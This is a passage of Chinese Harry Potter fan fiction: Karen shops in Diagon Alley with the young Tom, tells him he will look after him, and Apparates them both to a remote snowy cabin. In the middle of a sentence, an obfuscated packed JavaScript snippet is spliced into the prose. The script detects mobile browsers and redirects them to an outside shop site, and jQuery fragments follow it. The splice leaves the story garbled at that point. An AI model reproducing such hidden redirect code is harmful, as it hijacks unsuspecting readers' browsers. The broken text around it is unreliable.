接下来的时间,卡伦带着汤姆在对角巷子里穿梭,购买着各种生活必需品。
他们去了一个堆满瓶瓶罐罐,气味刺鼻的药店,卡伦买了一些常见的感冒药水和提神剂,还有一些汤姆叫不出名字的粉末和干草。店主是个秃顶的老巫师,喋喋不休地推销着他的新产品,被卡伦面无表情地拒绝了。
他们又去了一家兼卖二手课本和文具的杂货铺,卡伦挑了几本最基础的魔法理论书籍,几卷羊皮纸,几瓶墨水,还有几支看起来质量还不错的羽毛笔。汤姆的目光在那些厚重的,封面烫金的书籍上流连,但卡伦只挑了最基础的。
他们还去了一个看起来像麻瓜超市,但里面卖的东西却千奇百怪的日常百货店,买了毛巾、肥皂、牙刷、几个结实的帆布袋,甚至还有一小包据说是自动清洁的抹布。
每买完一样东西,卡伦就会拿出他那个看起来普普通通的棕色小袋子,将东西塞进去。袋子仿佛连接着另一个空间,无论塞进去多少,始终维持着那副扁扁的样子。汤姆一开始还会惊讶,后来就麻木了,只是默默地看着。
他也眼睁睁地看着卡伦从古灵阁拿出来的那个鼓鼓囊囊的钱袋,以肉眼可见的速度瘪了下去。金币、银币、古怪的青铜币,叮叮当当地流出去,换来一堆堆对他们目前处境来说或许有用,但怎么看都算不上紧急的东西。
为什么要买这么多?买这么全?他们不是要到处流浪吗?带着这么多东西怎么躲?
晚餐是在破釜酒吧那油腻腻的光线昏暗的餐厅吃的。食物比早餐丰盛,有热乎乎的炖菜和硬面包。汤姆安静地吃着,脑子里却转个不停。
他想问,很想问。但他知道,自己现在没有任何东西可以和卡伦交换信息或帮助。他的那些小收藏品?几块漂亮的石头,几张糖纸?卡伦大概看都不会看一眼。他唯一有价值的,或许就是他身上那点魔法天赋,但卡伦似乎对此并不太在意,教他更像是一种随手的打发或者……某种说不清道不明的责任?
最终,汤姆换了个方式。他咽下嘴里的面包,用他那没什么起伏的声音问:“为什么要买那么多东西?”
他没有直接问“为什么对我这么好”或者“你想从我这里得到什么”,而是将问题指向了那些具体的物品。这听起来更像是一个孩子对大人购物行为的好奇,而不是一种试探。
卡伦正在喝汤,闻言抬起头,有些奇怪地看了汤姆一眼,似乎没想到他会问这个。然后,他放下勺子,用一种理所当然,甚至带着点轻飘飘的,仿佛在说今天天气不错的语气回答道:
“要养着你啊。” 他顿了顿,补充道,“两个人,就买一点怎么够。”
汤姆愣住了。
养着你。
这句话像一颗小石子,投入他平静无波的心湖,激起了一圈小小的,连他自己都未曾察觉的涟漪。如此直接,如此……荒谬。
汤姆觉得卡伦一定是傻了。傻人才会说这种傻话。一个看起来顶多比自己大一两岁的孩子,说要养着另一个孩子?用什么养?用他那迅速瘪下去的钱袋吗?而且,他们之间的关系,根本不足以支撑这种近乎抚养的责任。
但是……卡伦说这话时的表情,又太平静,太自然了。没有炫耀,没有施舍,甚至没有多少情绪波动,就像在陈述一个既定事实。
而且,卡伦看起来……确实不像个普通孩子。他知道那么多巫师世界的事情,有古灵阁的金库,花钱大手大脚却似乎心里有数,面对妖精和古怪店主都能应对自如……他甚至能用魔法让自己暖和起来,能半夜溜出孤儿院,能带着他从孤儿院逃跑……
汤姆沉默了。他低下头,继续吃盘子里的炖菜,耳朵却莫名其妙地感觉有点发热。一定是酒吧里太闷热了,或者……是之前在外面冻伤了。他有些懊恼地想着。
卡伦似乎也没指望他回应,说完就继续专心对付自己的晚餐了。
吃完饭,卡伦结了账,然后再次拉起了汤姆的手。“走吧,该找个地方过夜了。这里太贵,不能常住。”
汤姆任由他牵着,走出了破釜酒吧温暖却浑浊的空气,重新踏入伦敦冬夜刺骨的寒风中。
卡伦没有带他回破釜酒吧的房间,也没有走向任何看起来像旅馆的地方。他牵着汤姆,拐进了更深的,连路灯都更加稀疏昏暗的巷弄。脚下的积雪被踩得咯吱作响,两旁是沉默的,黑漆漆的建筑轮廓。
他们走向的,是一条完全陌生的道路。
寒风在狭窄的巷弄里呼啸,卷起地上的浮雪,扑在脸上冰冷刺骨。汤姆被卡伦牵着,深一脚浅一脚地走着,脚下的积雪发出单调的咯吱声。周围一片漆黑,只有远处偶尔漏出的几点昏黄灯光,勾勒出建筑模糊狰狞的轮廓。这地方比他熟悉的东区更加破败和荒凉。
卡伦的脚步没有停歇,他似乎知道要去哪里。
走了一会儿,卡伦忽然开口,声音在寂静的雪夜里显得格外清晰,也带着一丝不易察觉的郑重:“接下来……可能会有点不好受。”
不好受?汤姆不以为然地想。除了古灵阁地下那疯狂颠簸的小车让他胃里翻腾,还有什么能称得上不好受?第二次坐的时候,他已经能勉强适应了。寒冷?饥饿?这些他早已习惯。至于卡伦那些奇奇怪怪的魔法把戏,虽然新奇,但也没什么大不了的。
他还没来得及表达自己的不以为然,卡伦就停下了脚步。他从口袋里摸出一颗糖,剥开糖纸,递到汤姆嘴边。
糖是淡蓝色的,圆溜溜的,闻起来没什么特别的味道。
汤姆犹豫了一下,还是张嘴含住了。糖很硬,入口冰凉,带着一股淡淡的,算不上好闻的薄荷混合着某种草药的清苦味,一点都不甜,甚至有点涩。汤姆下意识地皱了皱眉。
卡伦自己也吃了一颗,然后,他空着的那只手紧紧握住了汤姆的手,力气很大。
“闭上眼睛,抓紧我。” 卡伦的声音很低,带着一种不容置疑的命令口吻。
汤姆虽然觉得这糖难吃,但也依言闭上了眼睛,同时更用力地回握住了卡伦的手。
就在他闭眼的瞬间,一股难以言喻的强烈到极致的挤压感和拉扯感猛地袭来!
那感觉不像是在移动,更像是整个空间,连同他自己的身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17708141|208351||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
体,都被一只无形的大手粗暴地拧紧、折叠、然后猛地从一个点甩向另一个点。
他的五脏六腑仿佛都错了位,耳朵里充斥着尖锐的嗡鸣,血液似乎瞬间冲上头顶,又猛地坠回脚底。失重、超重、眩晕、恶心……所有令人极端不适的感觉在不到一秒钟的时间里集中爆发。
这根本不是古灵阁小车那种物理上的颠簸可以比拟的。那至少还有轨道和方向!
汤姆甚至没来得及惊叫,那股可怕的感觉就消失了,快得像一场最恐怖的噩梦。
他猛地睁开眼睛,因为巨大的不适和冲击,生理性的泪水不受控制地涌了出来,模糊了视线。他弯下腰,干呕了一声,嘴里那颗难吃的糖被他吐了出来,掉在厚厚的积雪上。
他感觉自己像是被人从万丈高楼上反复扔下又接住,全身的骨头和肌肉都在抗议,胃里空空如也,却翻江倒海。他死死地抓着卡伦的手,指甲几乎掐进对方的皮肤里,才勉强站稳没有瘫倒在地。
过了好几秒,眼前的景物才逐渐清晰。
不再是伦敦黑暗肮脏的巷弄。
他们站在一片被高大茂密的,落满积雪的针叶林环绕的空地中央。脚下是洁白松软的雪,空气清冽寒冷,带着松木和冰雪特有的干净气息。头顶是深蓝色的、缀满繁星的夜空,没有城市污染的遮掩,星星显得格外明亮璀璨。
空地的一侧,靠近森林边缘的地方,矗立着一座看起来非常简陋的,由粗大的原木搭建而成的小木屋,屋顶覆盖着厚厚的积雪,烟囱里没有炊烟。木屋不远处,是一个结了冰的湖泊,冰面在星光下泛着幽蓝的光泽,一直延伸到森林深处,看不到尽头。
万籁俱寂,只有风吹过树梢发出的低沉呜咽,和远处偶尔传来的一声不知名夜鸟的啼鸣。
这是……哪里?汤姆茫然地环顾四周。他们瞬间就从伦敦的贫民窟,来到了这片仿佛与世隔绝的荒野森林?
他偏过头,看向身边的卡伦。
卡伦的脸色也不好看。原本就有些苍白的面容此刻更是血色尽失,嘴唇紧紧抿着,额头上沁出细密的冷汗,呼吸也有些急促。他显然也承受了刚才那次转移的巨大负担。但他站得比汤姆更稳一些,眼神虽然疲惫,却还保持着清明。
看到卡伦这副同样狼狈的模样,汤姆心里那点因为自己失控流泪和干呕而产生的,微妙的羞耻感和丢脸感,忽然消散了不少。
看来,这不好受是真的不好受,连卡伦都撑不住。那他就不是唯一一个出丑的。
他松开了一点掐着卡伦手的力量,但依旧紧紧握着,仿佛那是此刻唯一能让他感到安定的东西。他用手背胡乱擦了一下眼角残留的泪水,直起身,努力让自己的呼吸平稳下来。
卡伦也慢慢调整着呼吸,他看着汤姆苍白的脸色和泛红的眼圈,嘴角似乎扯动了一下,不知道是想笑还是别的什么。
“吐出来了?” 他看了一眼雪地上那颗蓝色的糖,“也好,那东西本来也不是为了好吃。”
汤姆没说话,只是又看了一眼这片陌生而寂静的雪林,最后目光落在那座简陋的木屋上。